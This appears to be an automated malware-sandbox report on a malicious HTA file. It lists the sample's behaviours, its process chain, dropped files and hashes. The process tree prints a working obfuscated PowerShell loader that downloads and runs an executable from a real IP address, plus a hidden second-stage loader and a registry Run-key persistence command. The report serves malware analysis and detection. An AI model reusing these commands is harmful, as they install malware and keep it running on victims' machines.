Resubmissions

08/08/2024, 12:20

240808-ph937stbnr8

08/08/2024, 12:15

240808-pfakkatbml10

Analysis

  • max time kernel
    149s
  • max time network
    153s
  • platform
    windows7_x64
  • resource
    win7-20240704-en
  • resource tags

    arch:x64arch:x86image:win7-20240704-enlocale:en-usos:windows7-x64system
  • submitted
    08/08/2024, 12:15

General

  • Target
    IEnetwork.hta
  • Size 152KB
  • Sample240808-pfakkatbml
  • SHA256 f9ef47c6f722307c0a1df59c932898e4fcb365a3e53c13066aeb7d92439382de
  • MD5 SHA1 SHA512 SSDEEP

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Downloads MZ/PE file
  • Evasion via Device Credential Deployment 2 IoCs
  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 3 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 10 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • NSIS installer 2 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies registry key 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 38 IoCs

Processes

  • C:\Windows\SysWOW64\mshta.exe
    C:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\IEnetwork.hta"
    1⤵
    • System Location Discovery: System Language Discovery
    • Modifies Internet Explorer settings
    • Suspicious use of WriteProcessMemory
    PID:1052
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" "/c powershell.eXE -Ex ByPaSS -NOP -w 1 -c DEViCecredENtialDepLoyMenT ; IEx($(iEX('[sySTEm.tExT.EncODiNG]'+[ChAR]0X3A+[CHAr]0X3A+'UtF8.gETStRing([SYSTEm.coNVeRT]'+[cHar]58+[CHAR]0X3a+'froMBase64StRinG('+[chaR]0X22+'JERhN1N0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUmRFZkluaVRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZNWXBXaHdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpelR1SyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmpRUEosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQUWNnQUhTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLeXgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZCTHduZmJJQVgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1FU3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnhGUVZyakggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkRGE3U3Q6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMy45NC4yMzkuMTEyLzExNC9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U1RhclQtU2xlRVAoMyk7c1RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[chAr]0x22+'))')))"
      2⤵
      • Evasion via Device Credential Deployment
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:664
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        powershell.eXE -Ex ByPaSS -NOP -w 1 -c DEViCecredENtialDepLoyMenT ; IEx($(iEX('[sySTEm.tExT.EncODiNG]'+[ChAR]0X3A+[CHAr]0X3A+'UtF8.gETStRing([SYSTEm.coNVeRT]'+[cHar]58+[CHAR]0X3a+'froMBase64StRinG('+[chaR]0X22+'JERhN1N0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgID0gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgYURELVRZUEUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW1FTWJFUmRFZkluaVRpb24gICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJ1tEbGxJbXBvcnQoInVSbG1vTi5kbEwiLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBDaGFyU2V0ID0gQ2hhclNldC5Vbmljb2RlKV1wdWJsaWMgc3RhdGljIGV4dGVybiBJbnRQdHIgVVJMRG93bmxvYWRUb0ZpbGUoSW50UHRyICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZNWXBXaHdrLHN0cmluZyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBpelR1SyxzdHJpbmcgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgVmpRUEosdWludCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBQUWNnQUhTLEludFB0ciAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBLeXgpOycgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLW5hbUUgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgImZCTHduZmJJQVgiICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIC1OQW1FU3BBQ0UgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgTnhGUVZyakggICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgLVBhc3NUaHJ1OyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkRGE3U3Q6OlVSTERvd25sb2FkVG9GaWxlKDAsImh0dHA6Ly8yMy45NC4yMzkuMTEyLzExNC9zYWhvc3QuZXhlIiwiJEVuVjpBUFBEQVRBXHNhaG9zdC5leGUiLDAsMCk7U1RhclQtU2xlRVAoMyk7c1RBUnQgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIiRFblY6QVBQREFUQVxzYWhvc3QuZXhlIg=='+[chAr]0x22+'))')))"
        3⤵
        • Blocklisted process makes network request
        • Evasion via Device Credential Deployment
        • Loads dropped DLL
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2580
        • C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe
          "C:\Windows\Microsoft.NET\Framework\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\rfmikose.cmdline"
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2984
          • C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe
            C:\Windows\Microsoft.NET\Framework\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES233.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC232.tmp"
            5⤵
            • System Location Discovery: System Language Discovery
            PID:2152
        • C:\Users\Admin\AppData\Roaming\sahost.exe
          "C:\Users\Admin\AppData\Roaming\sahost.exe"
          4⤵
          • Executes dropped EXE
          • System Location Discovery: System Language Discovery
          • Suspicious use of WriteProcessMemory
          PID:2708
          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -windowstyle hidden "$genudsender=Get-Content 'C:\Users\Admin\AppData\Local\Temp\unroven\Dognaped\savklinge\Subconformable.Pla';$Cuculine=$genudsender.SubString(3208,3);.$Cuculine($genudsender)"
            5⤵
            • Command and Scripting Interpreter: PowerShell
            • Loads dropped DLL
            • Suspicious use of NtSetInformationThreadHideFromDebugger
            • Suspicious use of SetThreadContext
            • System Location Discovery: System Language Discovery
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious behavior: MapViewOfSection
            • Suspicious use of AdjustPrivilegeToken
            • Suspicious use of WriteProcessMemory
            PID:1720
            • C:\Program Files (x86)\windows mail\wab.exe
              "C:\Program Files (x86)\windows mail\wab.exe"
              6⤵
              • Suspicious use of NtSetInformationThreadHideFromDebugger
              • System Location Discovery: System Language Discovery
              • Suspicious use of WriteProcessMemory
              PID:2920
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /c REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Gobelinernes" /t REG_EXPAND_SZ /d "%Forsgscentres% -windowstyle minimized $Postlisten=(Get-ItemProperty -Path 'HKCU:\Fodboldstvlers\').Jalousing;%Forsgscentres% ($Postlisten)"
                7⤵
                • System Location Discovery: System Language Discovery
                • Suspicious use of WriteProcessMemory
                PID:1608
                • C:\Windows\SysWOW64\reg.exe
                  REG ADD HKCU\Software\Microsoft\Windows\CurrentVersion\Run /f /v "Gobelinernes" /t REG_EXPAND_SZ /d "%Forsgscentres% -windowstyle minimized $Postlisten=(Get-ItemProperty -Path 'HKCU:\Fodboldstvlers\').Jalousing;%Forsgscentres% ($Postlisten)"
                  8⤵
                  • Adds Run key to start application
                  • System Location Discovery: System Language Discovery
                  • Modifies registry key
                  PID:1048

Network

        MITRE ATT&CK Enterprise v15

        Replay Monitor

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        Downloads

        RES233.tmp

        • Path C:\Users\Admin\AppData\Local\Temp\RES233.tmp
        • Size 1KB
        • SHA256 909379f7ab100e28c64bef82a706bb0e7084cc670d00c8324cf62f6776caa3f8
        • MD5 SHA1 SHA512

        rfmikose.dll

        • Path C:\Users\Admin\AppData\Local\Temp\rfmikose.dll
        • Size 3KB
        • SHA256 d209d79c3a072d0ac725413f5b8831529aacd5935da376c91500ca1ec866ff6c
        • MD5 SHA1 SHA512

        rfmikose.pdb

        • Path C:\Users\Admin\AppData\Local\Temp\rfmikose.pdb
        • Size 7KB
        • SHA256 8057666daf146aeab2c4cefba829e17f4873a17de7ff59849c5025fa9189e217
        • MD5 SHA1 SHA512 SSDEEP

        Ikonisk.Shi

        • Path C:\Users\Admin\AppData\Local\Temp\unroven\Dognaped\savklinge\Ikonisk.Shi
        • Size 336KB
        • SHA256 296486266c803f37fb04725ee140a1270bff39a14a6f10a48511192658378719
        • MD5 SHA1 SHA512 SSDEEP

        Subconformable.Pla

        • Path C:\Users\Admin\AppData\Local\Temp\unroven\Dognaped\savklinge\Subconformable.Pla
        • Size 53KB
        • SHA256 5f0f09f7a2147f6c4c90153e0486bb1b54970db78fa225a8551745ee45ba4d86
        • MD5 SHA1 SHA512 SSDEEP

        d93f411851d7c929.customDestinations-ms

        • Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms
        • Size 7KB
        • SHA256 41f91476d02eb0b518c806d1ddbcbd621ec8a642393704c910032eb2034d0205
        • MD5 SHA1 SHA512 SSDEEP

        sahost.exe

        • Path C:\Users\Admin\AppData\Roaming\sahost.exe
        • Size 659KB
        • SHA256 75264794a3541607602861f89801444e81da59896ebc7ad57b9e3ff00433bb2d
        • MD5 SHA1 SHA512 SSDEEP

        CSC232.tmp

        • Path \??\c:\Users\Admin\AppData\Local\Temp\CSC232.tmp
        • Size 652B
        • SHA256 d6b8c4c2533c31894ca26f18a77e252a92ec788b76962738d28e0865dd64b6a4
        • MD5 SHA1 SHA512

        rfmikose.0.cs

        • Path \??\c:\Users\Admin\AppData\Local\Temp\rfmikose.0.cs
        • Size 471B
        • SHA256 6a40689475a5fce8fc4fe479895ceb7d69012fb9d39c0ebeeed09e4ab1f2db0d
        • MD5 SHA1 SHA512

        rfmikose.cmdline

        • Path \??\c:\Users\Admin\AppData\Local\Temp\rfmikose.cmdline
        • Size 309B
        • SHA256 672fdd487e39fa12142c13bd9046503b245eee7d2bfc2f7cb79cc5f6c6feccbe
        • MD5 SHA1 SHA512

        memory/1720-51-0x0000000006440000-0x000000000777D000-memory.dmp

        memory/2920-53-0x0000000000EA0000-0x0000000001F02000-memory.dmp